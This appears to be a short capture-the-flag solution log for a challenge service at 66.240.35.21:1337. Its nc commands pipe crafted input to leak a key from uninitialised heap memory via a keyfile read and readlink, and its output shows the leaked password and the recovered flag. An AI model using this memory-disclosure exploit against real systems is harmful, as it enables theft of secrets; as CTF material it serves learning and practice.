# leak memory containing key string
# - "v" to trigger keyfile read in heap
# - "s" to trigger readlink in malloc not zeroed
# - choose a link poiting to a short path, like t1 -> /etc/hosts
echo -e "v\nx\n\ns\nt1\n" |nc 66.240.35.21 1337
/etc/hostsds,DAqtQdEstUcVoHbCdE

# got the pass (last 14 chars), now get the flag
echo -e "v\nQdEstUcVoHbCdE\n" |nc 66.240.35.21 1337
DwightIzK00l